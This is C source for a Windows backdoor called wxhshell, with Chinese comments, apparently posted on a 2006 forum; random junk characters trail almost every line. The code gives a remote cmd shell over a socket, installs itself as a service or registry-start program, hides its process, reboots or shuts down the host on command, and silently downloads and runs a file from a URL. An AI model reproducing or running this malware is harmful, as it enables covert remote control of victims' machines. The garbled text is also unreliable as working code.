    switch(cmd[0]) { `df!-\#  
  GL?b!4xx  
  // 帮助 dFBFXy  
  case '?': { UOb` @#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'I>USl3hI  
    break; Hs)Cf)8u  
  } ~61b^L}$  
  // 安装 *H!BThft4  
  case 'i': { '> ib K|  
    if(Install()) H=@KlSC ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ ku5%y  
    else r#OPW7mhE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h^g0|p5  
    break; - VJx)g  
    } y"yo\IDW  
  // 卸载 qb[hKp5K6  
  case 'r': { 8?iI;(  
    if(Uninstall()) Cn/WNCzst&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OMK,L:poC  
    else hEHd$tH06  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ry >y  
    break; ^i|R6oO_5  
    } t,r]22I,`  
  // 显示 wxhshell 所在路径 :.5l  
  case 'p': { Wxj_DTi[1"  
    char svExeFile[MAX_PATH]; Bf*>q*%B{  
    strcpy(svExeFile,"\n\r"); "}v.>L<P  
      strcat(svExeFile,ExeFile); o MJ `_  
        send(wsh,svExeFile,strlen(svExeFile),0);  2yJ{B   
    break; " AUSgVE+h  
    } `,6|6.8#  
  // 重启 G:1d6[Q5{  
  case 'b': { 6C VH)=%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dnd; N/9  
    if(Boot(REBOOT)) f|,Kh1{e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %[|^7  
    else { s)- ;74(  
    closesocket(wsh); 5TJd9:\Af  
    ExitThread(0); KhND pwO"  
    } ~yJ2@2I  
    break; "jAd.x?X7e  
    } $A?9U}V#^  
  // 关机 r>(,)rs(l  
  case 'd': { N[@H107`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *,JE[M  
    if(Boot(SHUTDOWN)) Ms|c" ?se  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yU!1q}L!  
    else { XSC=qg$  
    closesocket(wsh); 6C&&="uww  
    ExitThread(0); e4` L8  
    } :m<&Ff}  
    break; At\(/Z y  
    } #B5,k|"/,M  
  // 获取shell M/6Z,oOU  
  case 's': { ZjmQ  
    CmdShell(wsh); 5csh8i'V  
    closesocket(wsh); {|u"I@M*O  
    ExitThread(0); mi] WZlg$  
    break; d#v@NuO6 h  
  } eMRH*MyD  
  // 退出 yIL=jzm`7  
  case 'x': { j"nOxs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0 cycnOd  
    CloseIt(wsh); _H]^7`;  
    break; ZHK>0>;  
    } ]QaKXg)3q  
  // 离开 ~gpxK{  
  case 'q': { B)Y[~4o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rk8pL[|  
    closesocket(wsh); Zkd{EMW  
    WSACleanup(); Y_CVDKdcY  
    exit(1); 96^aI1:  
    break; mU-2s%X<.^  
        } &q>8D'  
  } P{9:XSa%  
  } j+h+Y|4J  
-iiX!@  
  // 提示信息 |H t5a.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AU\=n,K7  
} kxhsDD$@p  
  } +fk*c[FG  
vR\E;V  
  return; Hi09?AX  
} 8lV:-"+5  
!Axe}RD'  
// shell模块句柄 ceG\Q2  
int CmdShell(SOCKET sock) `9r{z;UQ  
{ tLOGj?/r  
STARTUPINFO si; |3FI\F;^q  
ZeroMemory(&si,sizeof(si)); K(?V]Mxl6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y[XD=j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NIQ}A-b  
PROCESS_INFORMATION ProcessInfo; @SD XJJ h  
char cmdline[]="cmd"; j~N*TXkC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ATkd#k%S  
  return 0; {P6Bfh7CZ  
} >.qFhO\1so  
5b:1+5iF-  
// 自身启动模式 #1%@R<`  
int StartFromService(void) E,m|E]WP  
{ BHY-fb@R]H  
typedef struct WVeNO,?ytS  
{ sa+ JN^[X  
  DWORD ExitStatus; )3CM9P'0  
  DWORD PebBaseAddress; [k$GUU,jY  
  DWORD AffinityMask; 0HWSdf|w  
  DWORD BasePriority; c$  /.Xp  
  ULONG UniqueProcessId; 4dbX!0u1l  
  ULONG InheritedFromUniqueProcessId; 0G8@UJv6  
}   PROCESS_BASIC_INFORMATION; 'f{13-# X@  
QT+kCN  
PROCNTQSIP NtQueryInformationProcess; ^P9mJ:  
C)U4Fr ?E:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ) ' xyK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (/uN+   
gqv+|:#  
  HANDLE             hProcess; IrZjlnht  
  PROCESS_BASIC_INFORMATION pbi; +(DzE H |  
<9&GOaJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p|gVIsg[-e  
  if(NULL == hInst ) return 0; er_6PV  
'ij+MU 1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M;XU"8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ly(iq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OD}Uc+;K  
aO$0[-A  
  if (!NtQueryInformationProcess) return 0; s[7$%|~W  
pzRVX8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b6S"&hs  
  if(!hProcess) return 0; :Jyr^0`J  
oTvg%bX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (;g/wb:  
M5*Ln-qt(a  
  CloseHandle(hProcess); #.u &2eyqQ  
I8i|tQz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jA^yUd-  
if(hProcess==NULL) return 0; 1?)h-aN  
gGNo!'o  
HMODULE hMod; <>KQ8:  
char procName[255]; EiD41N  
unsigned long cbNeeded; Y|mtQ E?c  
ih("`//nP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @[FO;4w  
-^_^ByJe  
  CloseHandle(hProcess); @ebY_*  
>G1]#'6;  
if(strstr(procName,"services")) return 1; // 以服务启动 D Q4O  
p}~Sgi  
  return 0; // 注册表启动 *B4OvHi)'  
} <bJ|WS|  
l^tRy_T:-  
// 主模块 L5:1dF  
int StartWxhshell(LPSTR lpCmdLine) `+."X1  
{ w}/+3z  
  SOCKET wsl;  f^}n#  
BOOL val=TRUE; Cw!tB1D  
  int port=0; <QgpePyoN  
  struct sockaddr_in door; #3>jgluM'  
cAx$W6S  
  if(wscfg.ws_autoins) Install(); e~he#o[%a  
)~xH!%4F  
port=atoi(lpCmdLine); ]w*`}  
Qo]qs+  
if(port<=0) port=wscfg.ws_port; Jzp|#*~$E  
CZ^ ,bad  
  WSADATA data; kTzO4s?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Ups9pQ  
3k8nWT:wT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <Pf4[q&wM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q"!GdKM  
  door.sin_family = AF_INET; pL*aU=FjQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #l*w=D?  
  door.sin_port = htons(port); klc$n07  
WK0IagYw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A58P$#)?  
closesocket(wsl); ?{L'd  
return 1; Q 4L7{^[X  
} YJDJj x  
@d0~'_vtB  
  if(listen(wsl,2) == INVALID_SOCKET) { AYsHA w   
closesocket(wsl); BNO+-ob-  
return 1; q&:%/?)x  
} wZ`*C mr  
  Wxhshell(wsl); UsCaO<A  
  WSACleanup(); ^mut-@ N9  
)RWY("SUy1  
return 0; E8lq2r=  
_Wp.s]D [  
} SY}"4=M?l  
D deKZ)8  
// 以NT服务方式启动 b`GKGqbJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) soLmr's  
{ .WBp!*4  
DWORD   status = 0; ssH[\i  
  DWORD   specificError = 0xfffffff; qJ~fEX  
SoFl]^l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I,Jb_)H&t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #B!M,TWf9s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JZ> (h  
  serviceStatus.dwWin32ExitCode     = 0; ^ME'D  
  serviceStatus.dwServiceSpecificExitCode = 0; q}z`Z/`/  
  serviceStatus.dwCheckPoint       = 0; alsD TQ'  
  serviceStatus.dwWaitHint       = 0; Le/}xST@  
\zDs3Hp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q^xk]~G$(  
  if (hServiceStatusHandle==0) return; =<K6gC27  
3m&  
status = GetLastError(); sfy}J1xIL  
  if (status!=NO_ERROR) lPtML<a  
{ 6 =G=4{q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z@>kqJ%  
    serviceStatus.dwCheckPoint       = 0; I_R6 M1  
    serviceStatus.dwWaitHint       = 0; I;G(Wj  
    serviceStatus.dwWin32ExitCode     = status; |tse"A5Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; PY+4OZ$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s5*HS3D  
    return; l<7SB5  
  } Zdfh*MHMg  
@a 7U0$,O#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y(^\]-fE  
  serviceStatus.dwCheckPoint       = 0; $Fy >N>,E(  
  serviceStatus.dwWaitHint       = 0; G9GLRdP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9E[==2TO  
} Ua=r24fy  
mwI7[I2q  
// 处理NT服务事件,比如:启动、停止 n@q- f-2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hp2$[p6O  
{ iHvWJ<"jR  
switch(fdwControl) Y zmMF  
{ jCIY(/  
case SERVICE_CONTROL_STOP: |WOc0M[U  
  serviceStatus.dwWin32ExitCode = 0; h[<l2fy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6)20%*[  
  serviceStatus.dwCheckPoint   = 0; &rl;+QS  
  serviceStatus.dwWaitHint     = 0; Zp9kxm'  
  { 2. {/ls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dT (i*E\j  
  } }u{gQlV  
  return; {2i8]Sp1d/  
case SERVICE_CONTROL_PAUSE: <vD(,||  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H/={RuU  
  break; $q .}eb0  
case SERVICE_CONTROL_CONTINUE: \wK4bvUrX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >vO+k^'Y  
  break; 3=*ur( Qy  
case SERVICE_CONTROL_INTERROGATE: t% <y^Wa=  
  break; BL"7_phM,  
}; <td]k%*+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rUAt`ykTmN  
} %&q}5Y4!  
Bvh{|tP4  
// 标准应用程序主函数 aUA)p}/:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A5%$<  
{ 1EWZA  
1X9s\JKQ  
// 获取操作系统版本 "^;h'  
OsIsNt=GetOsVer(); 7?y 7fwER  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !]RSG^%s{  
)?c,&  
  // 从命令行安装 9.il1mAKg  
  if(strpbrk(lpCmdLine,"iI")) Install(); YhqMTOw  
BBv+*jj  
  // 下载执行文件 /SQ/$`1{  
if(wscfg.ws_downexe) { z0#2?o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EbVva{;#$;  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZmNNR 1%/  
} ?,8+1"|$A]  
Jyr V2Tk^  
if(!OsIsNt) { w*;"@2y;eY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dg{d^>T!_x  
HideProc(); e?*Teb ?R  
StartWxhshell(lpCmdLine); s f->8  
} %\n|2*r  
else As`=K$^Il.  
  if(StartFromService()) %~gI+0HK  
  // 以服务方式启动 BMuEfa^  
  StartServiceCtrlDispatcher(DispatchTable); t8rFn  
else T#*H  
  // 普通方式启动 Au}l^&,zN  
  StartWxhshell(lpCmdLine); kfT*G +l]  
%'Q2c'r  
return 0; Pnm$g; `P  
}
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只看该作者 1 发表于: 2006-10-10
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